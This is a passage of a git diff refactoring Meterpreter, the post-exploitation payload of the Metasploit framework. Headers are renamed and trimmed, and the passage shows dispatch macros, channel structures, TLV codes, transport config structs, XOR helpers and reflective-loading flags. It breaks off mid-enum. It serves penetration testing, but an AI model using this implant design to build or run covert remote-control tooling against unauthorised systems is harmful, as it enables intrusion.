/dev/null @@ -1,69 +0,0 @@ -/*! - * @file common.c - * @brief Definitions for various common components used across the Meterpreter suite. - */ -#include "common.h" - -#define SLEEP_MAX_SEC (MAXDWORD / 1000) - -/*! - * @brief Returns a unix timestamp in UTC. - * @return Integer value representing the UTC Unix timestamp of the current time. - */ -int current_unix_timestamp(void) { - SYSTEMTIME system_time; - FILETIME file_time; - ULARGE_INTEGER ularge; - - GetSystemTime(&system_time); - SystemTimeToFileTime(&system_time, &file_time); - - ularge.LowPart = file_time.dwLowDateTime; - ularge.HighPart = file_time.dwHighDateTime; - return (long)((ularge.QuadPart - 116444736000000000) / 10000000L); -} - -/*! - * @brief Sleep for the given number of seconds. - * @param seconds DWORD value representing the number of seconds to sleep. - * @remark This was implemented so that extended sleep times can be used (beyond the - * 49 day limit imposed by Sleep()). - */ -VOID sleep(DWORD seconds) -{ - while (seconds > SLEEP_MAX_SEC) - { - Sleep(SLEEP_MAX_SEC * 1000); - seconds -= SLEEP_MAX_SEC; - } - Sleep(seconds * 1000); -} - -VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize) -{ - dprintf("[XOR] XORing %u bytes with key %02x%02x%02x%02x", bufferSize, xorKey[0], xorKey[1], xorKey[2], xorKey[3]); - for (DWORD i = 0; i < bufferSize; ++i) - { - buffer[i] ^= xorKey[i % 4]; - } -} - -VOID rand_xor_key(BYTE buffer[4]) -{ - static BOOL initialised = FALSE; - if (!initialised) - { - srand((unsigned int)time(NULL)); - initialised = TRUE; - } - - buffer[0] = (rand() % 254) + 1; - buffer[1] = (rand() % 254) + 1; - buffer[2] = (rand() % 254) + 1; - buffer[3] = (rand() % 254) + 1; -} - -BOOL is_null_guid(BYTE guid[sizeof(GUID)]) -{ - return memcmp(guid, "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", sizeof(guid)) == 0 ? TRUE : FALSE; -} \ No newline at end of file diff --git a/c/meterpreter/source/common/common.h b/c/meterpreter/source/common/common.h index ae780df7..3b71321b 100755 --- a/c/meterpreter/source/common/common.h +++ b/c/meterpreter/source/common/common.h @@ -17,6 +17,25 @@ #include #include +// Simple trick to get the current meterpreters arch +#define PROCESS_ARCH_UNKNOWN 0 +#define PROCESS_ARCH_X86 1 +#define PROCESS_ARCH_X64 2 +#define PROCESS_ARCH_IA64 3 + +#ifdef _WIN64 +#define dwMeterpreterArch PROCESS_ARCH_X64 +#else +#define dwMeterpreterArch PROCESS_ARCH_X86 +#endif + +typedef struct __UNICODE_STRING +{ + USHORT Length; + USHORT MaximumLength; + PWSTR Buffer; +} _UNICODE_STRING, * _PUNICODE_STRING; + typedef DWORD __u32; typedef struct ___u128 { __u32 a1; @@ -34,34 +53,6 @@ typedef struct ___u128 { #undef X509_CERT_PAIR #undef X509_NAME -#include "linkage.h" - -#include "args.h" -#include "buffer.h" -#include "base.h" -#include "core.h" -#include "remote.h" - -#include "channel.h" -#include "scheduler.h" -#include "thread.h" -#include "unicode.h" - -#include "list.h" - -#include "zlib/zlib.h" - -/*! @brief Indication that the Meterpreter transport is using TCP. */ -#define METERPRETER_TRANSPORT_TCP 0x1 -/*! @brief Indication that the Meterpreter transport is using HTTP. */ -#define METERPRETER_TRANSPORT_HTTP 0x2 -/*! @brief Indication that the Meterpreter transport is using HTTPS. */ -#define METERPRETER_TRANSPORT_HTTPS (0x4 | METERPRETER_TRANSPORT_HTTP) -/*! @brief Indication that the Meterpreter transport is using named pipes. */ -#define METERPRETER_TRANSPORT_PIPE 0x8 - -VOID sleep(DWORD seconds); - #ifdef DEBUGTRACE #define dprintf(...) real_dprintf(__VA_ARGS__) #if DEBUGTRACE == 1 @@ -107,9 +98,14 @@ static _inline void real_dprintf(char *format, ...) va_end(args); } -#endif +#include "common_base.h" +#include "common_core.h" +#include "common_remote.h" +#include "common_channel.h" +#include "common_list.h" +#include "common_config.h" +#include "common_pivot_tree.h" +#include "common_thread.h" +#include "common_scheduler.h" -int current_unix_timestamp(void); -VOID xor_bytes(BYTE xorKey[4], LPBYTE buffer, DWORD bufferSize); -BOOL is_null_guid(BYTE guid[sizeof(GUID)]); -VOID rand_xor_key(BYTE buffer[4]); \ No newline at end of file +#endif diff --git a/c/meterpreter/source/common/base.h b/c/meterpreter/source/common/common_base.h similarity index 82% rename from c/meterpreter/source/common/base.h rename to c/meterpreter/source/common/common_base.h index 1f6a320b..565ae940 100644 --- a/c/meterpreter/source/common/base.h +++ b/c/meterpreter/source/common/common_base.h @@ -1,110 +1,94 @@ -/*! - * @file base.h - * @brief Declarations, macros and types that apply to almost any Meterpreter component. - */ -#ifndef _METERPRETER_BASE_H -#define _METERPRETER_BASE_H - -#include "linkage.h" -#include "core.h" - -/*! @brief Function pointer type that defines the interface for a dispatch handler. */ -typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet); -typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result); - -/*! @brief Specifies the maximum number of arguments that are checked/handled - * in a request/response packet dispatcher. - */ -#define MAX_CHECKED_ARGUMENTS 16 - -/*! @brief Flag indicating that the command arguments repeat. */ -#define ARGUMENT_FLAG_REPEAT (1 << 28) -/*! @brief Mask indicating the range numbers allowed for command arguments. */ -#define ARGUMENT_FLAG_MASK 0x0fffffff - -/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */ -#define EMPTY_TLV { 0 }, 0 -/*! @brief Helper macro which defines an empty dispatch handler. */ -#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV -/*! @brief Helper macro that defines terminator for command lists. */ -#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } } - -/*! - * @brief Helper macro that defines a command instance with a request handler only. - * @remarks The request handler will be executed on a separate thread. - */ -#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } -/*! - * @brief Helper macro that defines a command instance with a response handler only. - * @remarks The request handler will be executed on a separate thread. - */ -#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } } -/*! - * @brief Helper macro that defines a command instance with both a request and response handler. - * @remarks The request handler will be executed on a separate thread. - */ -#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } } -/*! - * @brief Helper macro that defines a command instance with an inline request handler only. - * @remarks The request handler will be executed on the server thread. - */ -#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } -/*! - * @brief Helper macro that defines a command instance with an inline response handler only. - * @remarks The response handler will be executed on the server thread. - */ -#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } } - -// Place holders -/*! @deprecated This entity is not used and may be removed in future. */ -#define EXPORT_TABLE_BEGIN() -/*! @deprecated This entity is not used and may be removed in future. */ -#define EXPORT_TABLE_END() - -/*! - * @brief Defines a command handler for requests and responses. - */ -typedef struct -{ - /*! @brief Pointer to the routine that will be called to handle the request/response. */ - DISPATCH_ROUTINE handler; - - /*! - * @brief Pointer to the routine that will be called on the _current thread_. - * @remark If this function is specified then it will be invoked on the current server - * thread rather than having a new thread allocated to it for processing. - * The result of this routine will indicate whether the server should continue. - * If this value is specified (ie. non-NULL) then the \c handler value is ignored. - */ - INLINE_DISPATCH_ROUTINE inline_handler; - - /*! @brief Array of types that match the expected arguments for this response/request routine. */ - TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS]; - /*! @brief The number of entries in the \c argumentTypes array. */ - DWORD numArgumentTypes; -} PacketDispatcher; - -/*! - * @brief Container for a command definition. - */ -typedef struct command -{ - LPCSTR method; ///< Identifier for the command. - PacketDispatcher request; ///< Defines the request handler. - PacketDispatcher response; ///< Defines the response handler. - - // Internal -- not stored - struct command *next; ///< Pointer to the next command in the command list. - struct command *prev; ///< Pointer to the previous command in the command list. -} Command; - -LINKAGE void command_register_all(Command commands[]); -LINKAGE void command_deregister_all(Command commands[]); -LINKAGE DWORD command_register(Command *command); -LINKAGE DWORD command_deregister(Command *command); - -LINKAGE VOID command_join_threads( VOID ); - -LINKAGE BOOL command_handle( Remote *remote, Packet *packet ); - -#endif +/*! + * @file common_base.h + * @brief Declarations of macros and types that apply to almost any Meterpreter component. + */ +#ifndef _METERPRETER_COMMON_BASE_H +#define _METERPRETER_COMMON_BASE_H + +#include "common_core.h" + +/*! @brief Function pointer type that defines the interface for a dispatch handler. */ +typedef DWORD(*DISPATCH_ROUTINE)(Remote *remote, Packet *packet); +typedef BOOL(*INLINE_DISPATCH_ROUTINE)(Remote *remote, Packet *packet, DWORD* result); + +/*! @brief Specifies the maximum number of arguments that are checked/handled + * in a request/response packet dispatcher. + */ +#define MAX_CHECKED_ARGUMENTS 16 + +/*! @brief Flag indicating that the command arguments repeat. */ +#define ARGUMENT_FLAG_REPEAT (1 << 28) +/*! @brief Mask indicating the range numbers allowed for command arguments. */ +#define ARGUMENT_FLAG_MASK 0x0fffffff + +/*! @brief Helper macro that contains the required NULL initialisations for a command handler TLV info. */ +#define EMPTY_TLV { 0 }, 0 +/*! @brief Helper macro which defines an empty dispatch handler. */ +#define EMPTY_DISPATCH_HANDLER NULL, NULL, EMPTY_TLV +/*! @brief Helper macro that defines terminator for command lists. */ +#define COMMAND_TERMINATOR { NULL, { EMPTY_DISPATCH_HANDLER }, { EMPTY_DISPATCH_HANDLER } } + +/*! + * @brief Helper macro that defines a command instance with a request handler only. + * @remarks The request handler will be executed on a separate thread. + */ +#define COMMAND_REQ(name, reqHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } +/*! + * @brief Helper macro that defines a command instance with a response handler only. + * @remarks The request handler will be executed on a separate thread. + */ +#define COMMAND_REP(name, repHandler) { name, { EMPTY_DISPATCH_HANDLER }, { repHandler, NULL, EMPTY_TLV } } +/*! + * @brief Helper macro that defines a command instance with both a request and response handler. + * @remarks The request handler will be executed on a separate thread. + */ +#define COMMAND_REQ_REP(name, reqHandler, repHandler) { name, { reqHandler, NULL, EMPTY_TLV }, { repHandler, NULL, EMPTY_TLV } } +/*! + * @brief Helper macro that defines a command instance with an inline request handler only. + * @remarks The request handler will be executed on the server thread. + */ +#define COMMAND_INLINE_REQ(name, reqHandler) { name, { NULL, reqHandler, EMPTY_TLV }, { EMPTY_DISPATCH_HANDLER } } +/*! + * @brief Helper macro that defines a command instance with an inline response handler only. + * @remarks The response handler will be executed on the server thread. + */ +#define COMMAND_INLINE_REP(name, reqHandler) { name, { EMPTY_DISPATCH_HANDLER }, { NULL, reqHandler, EMPTY_TLV } } + +/*! + * @brief Defines a command handler for requests and responses. + */ +typedef struct +{ + /*! @brief Pointer to the routine that will be called to handle the request/response. */ + DISPATCH_ROUTINE handler; + + /*! + * @brief Pointer to the routine that will be called on the _current thread_. + * @remark If this function is specified then it will be invoked on the current server + * thread rather than having a new thread allocated to it for processing. + * The result of this routine will indicate whether the server should continue. + * If this value is specified (ie. non-NULL) then the \c handler value is ignored. + */ + INLINE_DISPATCH_ROUTINE inline_handler; + + /*! @brief Array of types that match the expected arguments for this response/request routine. */ + TlvMetaType argumentTypes[MAX_CHECKED_ARGUMENTS]; + /*! @brief The number of entries in the \c argumentTypes array. */ + DWORD numArgumentTypes; +} PacketDispatcher; + +/*! + * @brief Container for a command definition. + */ +typedef struct command +{ + LPCSTR method; ///< Identifier for the command. + PacketDispatcher request; ///< Defines the request handler. + PacketDispatcher response; ///< Defines the response handler. + + // Internal -- not stored + struct command *next; ///< Pointer to the next command in the command list. + struct command *prev; ///< Pointer to the previous command in the command list. +} Command; + +#endif diff --git a/c/meterpreter/source/common/channel.h b/c/meterpreter/source/common/common_channel.h similarity index 56% rename from c/meterpreter/source/common/channel.h rename to c/meterpreter/source/common/common_channel.h index bfcccdd7..22aa97f2 100644 --- a/c/meterpreter/source/common/channel.h +++ b/c/meterpreter/source/common/common_channel.h @@ -1,217 +1,146 @@ -#ifndef _METERPRETER_LIB_CHANNEL_H -#define _METERPRETER_LIB_CHANNEL_H - -#include "linkage.h" -#include "remote.h" - -struct _Channel; -struct _ChannelBuffer; - -// Direct I/O operation modes (read/write/close) -typedef enum -{ - CHANNEL_DIO_MODE_OPEN = 0, - CHANNEL_DIO_MODE_READ = 1, - CHANNEL_DIO_MODE_WRITE = 2, - CHANNEL_DIO_MODE_CLOSE = 3, - CHANNEL_DIO_MODE_INTERACT = 3, -} ChannelDioMode; - -// Direct I/O handler -- used in place of internal buffering for channels -// that can do event based forwarding of buffers. -typedef DWORD (*DirectIoHandler)(struct _Channel *channel, - struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, - PUCHAR chunk, ULONG length, PULONG bytesXfered); - -// Asynchronous completion routines -- used with channel_open, channel_read, -// etc. -typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result); -typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer, - ULONG bytesRead); -typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result, - ULONG bytesWritten); -typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result); -typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote, - struct _Channel *channel, LPVOID context, DWORD result); - -// Completion routine wrapper context -typedef struct _ChannelCompletionRoutine -{ - LPVOID context; - - struct - { - ChannelOpenCompletionRoutine open; - ChannelReadCompletionRoutine read; - ChannelWriteCompletionRoutine write; - ChannelCloseCompletionRoutine close; - ChannelInteractCompletionRoutine interact; - } routine; - -} ChannelCompletionRoutine; - -// Logical channel buffer used to queue or for event based updating -typedef struct _ChannelBuffer -{ - PUCHAR buffer; - ULONG currentSize; - ULONG totalSize; - - // IO handler -- default is internal queuing - DirectIoHandler dio; - LPVOID dioContext; -} ChannelBuffer; - -// Channel operations that are used by any channel -typedef struct _NativeChannelOps -{ - LPVOID context; - DWORD (*write)(struct _Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, - LPDWORD bytesWritten); - DWORD (*close)(struct _Channel *channel, Packet *request, - LPVOID context); - DWORD (*interact)(struct _Channel *channel, Packet *request, - LPVOID context, BOOLEAN interact); -} NativeChannelOps; - -// Channel operations for a stream-based channel -typedef struct _StreamChannelOps -{ - NativeChannelOps native; -} StreamChannelOps; - -// Channel operations for a datagram-based channel -typedef struct _DatagramChannelOps -{ - NativeChannelOps native; -} DatagramChannelOps; - -// Channel operations for a pool-based channel -typedef struct _PoolChannelOps -{ - NativeChannelOps native; - DWORD (*read)(struct _Channel *channel, Packet *request, - LPVOID context, LPVOID buffer, DWORD bufferSize, - LPDWORD bytesRead); - DWORD (*eof)(struct _Channel *channel, Packet *request, - LPVOID context, LPBOOL isEof); - DWORD (*seek)(struct _Channel *channel, Packet *request, - LPVOID context, LONG offset, DWORD whence); - DWORD (*tell)(struct _Channel *channel, Packet *request, - LPVOID context, LPLONG offset); -} PoolChannelOps; - -/* - * Values for the 'cls' attribute - */ -#define CHANNEL_CLASS_BUFFERED 0 -#define CHANNEL_CLASS_STREAM 1 -#define CHANNEL_CLASS_DATAGRAM 2 -#define CHANNEL_CLASS_POOL 3 - -typedef struct _Channel -{ - // The channel's identifier - DWORD identifier; - // The channel's class - DWORD cls; - // The type of channel, NULL for default. - PCHAR type; - // Flag for whether or not the channel is currently interactive - BOOL interactive; - // Operational flags - ULONG flags; - // Lock for synchronizing communication to a channel - LOCK * lock; - // The buffered output buffer (as in being outputted bufferedly) - union - { - ChannelBuffer buffered; - StreamChannelOps stream; - DatagramChannelOps datagram; - PoolChannelOps pool; - } ops; - - // Internal attributes for list - struct _Channel *prev; - struct _Channel *next; -} Channel; - -#define CHANNEL_CHUNK_SIZE 4096 - -/* - * Channel manipulation - */ -LINKAGE Channel *channel_create(DWORD identifier, DWORD flags); -LINKAGE Channel *channel_create_stream(DWORD identifier, - DWORD flags, StreamChannelOps *ops); -LINKAGE Channel *channel_create_datagram(DWORD identifier, - DWORD flags, DatagramChannelOps *ops); -LINKAGE Channel *channel_create_pool(DWORD identifier, - DWORD flags, PoolChannelOps *ops); -LINKAGE VOID channel_destroy(Channel *channel, Packet *request); - -LINKAGE DWORD channel_get_id(Channel *channel); - -LINKAGE VOID channel_set_type(Channel *channel, PCHAR type); -LINKAGE PCHAR channel_get_type(Channel *channel); - -LINKAGE DWORD channel_get_class(Channel *channel); - -LINKAGE VOID channel_set_flags(Channel *channel, ULONG flags); -LINKAGE BOOLEAN channel_is_flag(Channel *channel, ULONG flag); -LINKAGE ULONG channel_get_flags(Channel *channel); - -LINKAGE VOID channel_set_interactive(Channel *channel, BOOL interactive); -LINKAGE BOOL channel_is_interactive(Channel *channel); - -LINKAGE DWORD channel_write_to_remote(Remote *remote, Channel *channel, - PUCHAR chunk, ULONG chunkLength, PULONG bytesWritten); - -LINKAGE DWORD channel_write_to_buffered(Channel *channel, PUCHAR chunk, - ULONG chunkLength, PULONG bytesWritten); -LINKAGE DWORD channel_read_from_buffered(Channel *channel, PUCHAR chunk, - ULONG chunkLength, PULONG bytesRead); - -LINKAGE VOID channel_set_buffered_io_handler(Channel *channel, LPVOID dioContext, - DirectIoHandler dio); -LINKAGE PVOID channel_get_buffered_io_context(Channel *channel); -LINKAGE VOID channel_set_native_io_context(Channel *channel, LPVOID context); -LINKAGE LPVOID channel_get_native_io_context(Channel *channel); - -LINKAGE DWORD channel_default_io_handler(Channel *channel, - ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, - PUCHAR chunk, ULONG length, PULONG bytesXfered); - -/* - * Remote channel API, used for communication with remotes - * - * Each of these routines accepts a completion routine that allows for custom - * handling of the response. - */ -LINKAGE DWORD channel_open(Remote *remote, Tlv *addend, DWORD addendLength, - ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_read(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ULONG length, - ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_write(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, PUCHAR buffer, ULONG length, - ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_close(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, ChannelCompletionRoutine *completionRoutine); -LINKAGE DWORD channel_interact(Channel *channel, Remote *remote, Tlv *addend, - DWORD addendLength, BOOL enable, - ChannelCompletionRoutine *completionRoutine); - -/* - * Channel searching - */ -LINKAGE Channel *channel_find_by_id(DWORD id); -LINKAGE BOOL channel_exists(Channel *channel); - -#endif +#ifndef _METERPRETER_COMMON_CHANNEL_H +#define _METERPRETER_COMMON_CHANNEL_H + +#include "common_remote.h" + +struct _Channel; +struct _ChannelBuffer; + +// Direct I/O operation modes (read/write/close) +typedef enum +{ + CHANNEL_DIO_MODE_OPEN = 0, + CHANNEL_DIO_MODE_READ = 1, + CHANNEL_DIO_MODE_WRITE = 2, + CHANNEL_DIO_MODE_CLOSE = 3, + CHANNEL_DIO_MODE_INTERACT = 3, +} ChannelDioMode; + +// Direct I/O handler -- used in place of internal buffering for channels +// that can do event based forwarding of buffers. +typedef DWORD (*DirectIoHandler)(struct _Channel *channel, + struct _ChannelBuffer *buffer, LPVOID context, ChannelDioMode mode, + PUCHAR chunk, ULONG length, PULONG bytesXfered); + +// Asynchronous completion routines -- used with channel_open, channel_read, +// etc. +typedef DWORD (*ChannelOpenCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result); +typedef DWORD (*ChannelReadCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result, PUCHAR buffer, + ULONG bytesRead); +typedef DWORD (*ChannelWriteCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result, + ULONG bytesWritten); +typedef DWORD (*ChannelCloseCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result); +typedef DWORD (*ChannelInteractCompletionRoutine)(Remote *remote, + struct _Channel *channel, LPVOID context, DWORD result); + +// Completion routine wrapper context +typedef struct _ChannelCompletionRoutine +{ + LPVOID context; + + struct + { + ChannelOpenCompletionRoutine open; + ChannelReadCompletionRoutine read; + ChannelWriteCompletionRoutine write; + ChannelCloseCompletionRoutine close; + ChannelInteractCompletionRoutine interact; + } routine; + +} ChannelCompletionRoutine; + +// Logical channel buffer used to queue or for event based updating +typedef struct _ChannelBuffer +{ + PUCHAR buffer; + ULONG currentSize; + ULONG totalSize; + + // IO handler -- default is internal queuing + DirectIoHandler dio; + LPVOID dioContext; +} ChannelBuffer; + +// Channel operations that are used by any channel +typedef struct _NativeChannelOps +{ + LPVOID context; + DWORD (*write)(struct _Channel *channel, Packet *request, + LPVOID context, LPVOID buffer, DWORD bufferSize, + LPDWORD bytesWritten); + DWORD (*close)(struct _Channel *channel, Packet *request, + LPVOID context); + DWORD (*interact)(struct _Channel *channel, Packet *request, + LPVOID context, BOOLEAN interact); +} NativeChannelOps; + +// Channel operations for a stream-based channel +typedef struct _StreamChannelOps +{ + NativeChannelOps native; +} StreamChannelOps; + +// Channel operations for a datagram-based channel +typedef struct _DatagramChannelOps +{ + NativeChannelOps native; +} DatagramChannelOps; + +// Channel operations for a pool-based channel +typedef struct _PoolChannelOps +{ + NativeChannelOps native; + DWORD (*read)(struct _Channel *channel, Packet *request, + LPVOID context, LPVOID buffer, DWORD bufferSize, + LPDWORD bytesRead); + DWORD (*eof)(struct _Channel *channel, Packet *request, + LPVOID context, LPBOOL isEof); + DWORD (*seek)(struct _Channel *channel, Packet *request, + LPVOID context, LONG offset, DWORD whence); + DWORD (*tell)(struct _Channel *channel, Packet *request, + LPVOID context, LPLONG offset); +} PoolChannelOps; + +/* + * Values for the 'cls' attribute + */ +#define CHANNEL_CLASS_BUFFERED 0 +#define CHANNEL_CLASS_STREAM 1 +#define CHANNEL_CLASS_DATAGRAM 2 +#define CHANNEL_CLASS_POOL 3 + +typedef struct _Channel +{ + // The channel's identifier + DWORD identifier; + // The channel's class + DWORD cls; + // The type of channel, NULL for default. + PCHAR type; + // Flag for whether or not the channel is currently interactive + BOOL interactive; + // Operational flags + ULONG flags; + // Lock for synchronizing communication to a channel + LOCK * lock; + // The buffered output buffer (as in being outputted bufferedly) + union + { + ChannelBuffer buffered; + StreamChannelOps stream; + DatagramChannelOps datagram; + PoolChannelOps pool; + } ops; + + // Internal attributes for list + struct _Channel *prev; + struct _Channel *next; +} Channel; + +#define CHANNEL_CHUNK_SIZE 4096 + +#endif diff --git a/c/meterpreter/source/common/config.h b/c/meterpreter/source/common/common_config.h old mode 100755 new mode 100644 similarity index 97% rename from c/meterpreter/source/common/config.h rename to c/meterpreter/source/common/common_config.h index c2821f62..9771afb7 --- a/c/meterpreter/source/common/config.h +++ b/c/meterpreter/source/common/common_config.h @@ -2,14 +2,14 @@ * @file config.h * @brief Declarations of functions and types that define endpoint and transport configurations. */ -#ifndef _METERPRETER_LIB_CONFIG_H -#define _METERPRETER_LIB_CONFIG_H +#ifndef _METERPRETER_COMMON_CONFIG_H +#define _METERPRETER_COMMON_CONFIG_H /*! @brief This is the size of the certificate hash that is validated (sha1) */ #define CERT_HASH_SIZE 20 #define URL_SIZE 512 #define UA_SIZE 256 -#define UUID_SIZE 16 +#define UUID_SIZE 16 #define PROXY_HOST_SIZE 128 #define PROXY_USER_SIZE 64 #define PROXY_PASS_SIZE 64 @@ -24,14 +24,14 @@ typedef CHARTYPE const * CSTRTYPE; typedef struct _MetsrvSession { - union - { - UINT_PTR handle; - BYTE padding[8]; + union + { + UINT_PTR handle; + BYTE padding[8]; } comms_handle; ///! Socket/handle for communications (if there is one). DWORD exit_func; ///! Exit func identifier for when the session ends. int expiry; ///! The total number of seconds to wait before killing off the session. - BYTE uuid[UUID_SIZE]; ///! UUID + BYTE uuid[UUID_SIZE]; ///! UUID BYTE session_guid[sizeof(GUID)]; ///! Current session GUID } MetsrvSession; @@ -59,11 +59,11 @@ typedef struct _MetsrvTransportHttp CHARTYPE custom_headers[1]; ///! Custom headers to add to outbound requests (arb length, NULL terminated). } MetsrvTransportHttp; -typedef struct _MetsrvTransportTcp -{ - MetsrvTransportCommon common; -} MetsrvTransportTcp; - +typedef struct _MetsrvTransportTcp +{ + MetsrvTransportCommon common; +} MetsrvTransportTcp; + typedef struct _MetsrvTransportNamedPipe { MetsrvTransportCommon common; @@ -81,7 +81,7 @@ typedef struct _MetsrvConfig MetsrvTransportCommon transports[1]; ///! Placeholder for 0 or more transports // Extensions will appear after this // After extensions, we get a list of extension initialisers - // \x00 + // \x00 // \x00 // \x00 } MetsrvConfig; diff --git a/c/meterpreter/source/common/core.h b/c/meterpreter/source/common/common_core.h old mode 100755 new mode 100644 similarity index 78% rename from c/meterpreter/source/common/core.h rename to c/meterpreter/source/common/common_core.h index 9e94878b..8733fb4f --- a/c/meterpreter/source/common/core.h +++ b/c/meterpreter/source/common/common_core.h @@ -1,306 +1,246 @@ -/*! - * @file core.h - * @brief Declarations of core components of the Meterpreter suite. - * @details Much of what exists in the core files is used in almost every area - * of the Meterpreter code base, and hence it's very important. Don't - * change this stuff unless you know what you're doing! - */ -#ifndef _METERPRETER_CORE_H -#define _METERPRETER_CORE_H - -#include "linkage.h" -#include "remote.h" -#include "list.h" - -/*! - * @brief Creates a new TLV value based on `actual` and `meta` values. - */ -#define TLV_VALUE(meta, actual) actual | meta -/*! - * @brief Creates a new custom TVL type. - */ -#define MAKE_CUSTOM_TLV(meta, base, actual) (TlvType)((base + actual) | meta) - -/*! - * @brief Enumeration of allowed Packet TLV types. - */ -typedef enum -{ - PACKET_TLV_TYPE_REQUEST = 0, ///< Indicates a request packet. - PACKET_TLV_TYPE_RESPONSE = 1, ///< Indicates a response packet. - PACKET_TLV_TYPE_PLAIN_REQUEST = 10, ///< Indicates a plain request packet. - PACKET_TLV_TYPE_PLAIN_RESPONSE = 11, ///< Indicates a plain response packet. -} PacketTlvType; - -/*! @brief Meta TLV argument type representing a null value. */ -#define TLV_META_TYPE_NONE (0 << 0) -/*! @brief Meta TLV argument type representing a string value. */ -#define TLV_META_TYPE_STRING (1 << 16) -/*! @brief Meta TLV argument type representing a unsigned integer value. */ -#define TLV_META_TYPE_UINT (1 << 17) -/*! @brief Meta TLV argument type representing a raw data value. */ -#define TLV_META_TYPE_RAW (1 << 18) -/*! @brief Meta TLV argument type representing a boolean value. */ -#define TLV_META_TYPE_BOOL (1 << 19) -/*! @brief Meta TLV argument type representing a quad-word value. */ -#define TLV_META_TYPE_QWORD (1 << 20) -/*! @brief Meta TLV argument type representing a compressed data value. */ -#define TLV_META_TYPE_COMPRESSED (1 << 29) -/*! @brief Meta TLV argument type representing a group value. */ -#define TLV_META_TYPE_GROUP (1 << 30) -/*! @brief Meta TLV argument type representing a nested/complex value. */ -#define TLV_META_TYPE_COMPLEX (1 << 31) -/*! @brief Meta TLV argument type representing a flag set/mask value. */ -#define TLV_META_TYPE_MASK(x) ((x) & 0xffff0000) - -/*! @brief Base value for reserved TLV definitions. */ -#define TLV_RESERVED 0 -/*! @brief Base value for TLV definitions that are part of extensions. */ -#define TLV_EXTENSIONS 20000 -/*! @brief Base value for user TLV definitions. */ -#define TLV_USER 40000 -/*! @brief Base value for temporary TLV definitions. */ -#define TLV_TEMP 60000 - -/*! - * @brief Indicates that the library in question should be stored on disk. - * @detail Some libraries can be written to disk and other libraries can't. The use of - * this flag will indicate that the library should not be written to disk and - * instead should be loaded reflectively. - */ -#define LOAD_LIBRARY_FLAG_ON_DISK (1 << 0) - -/*! - * @brief Indicates that the library in question is an extension library. - * @detail Extension libraries have \c InitServerExtension and \c DeinitServerExtension - * functions which need to be invoked. This flag indicates that the library has - * these functions and that they should be called appropriately. - */ -#define LOAD_LIBRARY_FLAG_EXTENSION (1 << 1) - -/*! - * @brief Indicates that the library in question is a library that exists locally. - * @detail Libraries can already exist on the target machine. This flag indicates that - * the library doesn't need to be uploaded, it just needs to be invoked directly - * on the local machine. - */ -#define LOAD_LIBRARY_FLAG_LOCAL (1 << 2) - -/*! @brief An indication of whether the challen is synchronous or asynchronous. */ -#define CHANNEL_FLAG_SYNCHRONOUS (1 << 0) -/*! @brief An indication of whether the content written to the channel should be compressed. */ -#define CHANNEL_FLAG_COMPRESS (1 << 1) - -/*! @brief Type definition with defines `TlvMetaType` as an double-word. */ -typedef DWORD TlvMetaType; - -/*! - * @brief Full list of recognised TLV types. - */ -typedef enum -{ - TLV_TYPE_ANY = TLV_VALUE(TLV_META_TYPE_NONE, 0), ///! Represents an undefined/arbitrary value. - TLV_TYPE_METHOD = TLV_VALUE(TLV_META_TYPE_STRING, 1), ///! Represents a method/function name value. - TLV_TYPE_REQUEST_ID = TLV_VALUE(TLV_META_TYPE_STRING, 2), ///! Represents a request identifier value. - TLV_TYPE_EXCEPTION = TLV_VALUE(TLV_META_TYPE_GROUP, 3), ///! Represents an exception value. - TLV_TYPE_RESULT = TLV_VALUE(TLV_META_TYPE_UINT, 4), ///! Represents a result value. - - // Argument basic types - TLV_TYPE_STRING = TLV_VALUE(TLV_META_TYPE_STRING, 10), ///! Represents a string value. - TLV_TYPE_UINT = TLV_VALUE(TLV_META_TYPE_UINT, 11), ///! Represents an unsigned integer value. - TLV_TYPE_BOOL = TLV_VALUE(TLV_META_TYPE_BOOL, 12), ///! Represents a boolean value. - - // 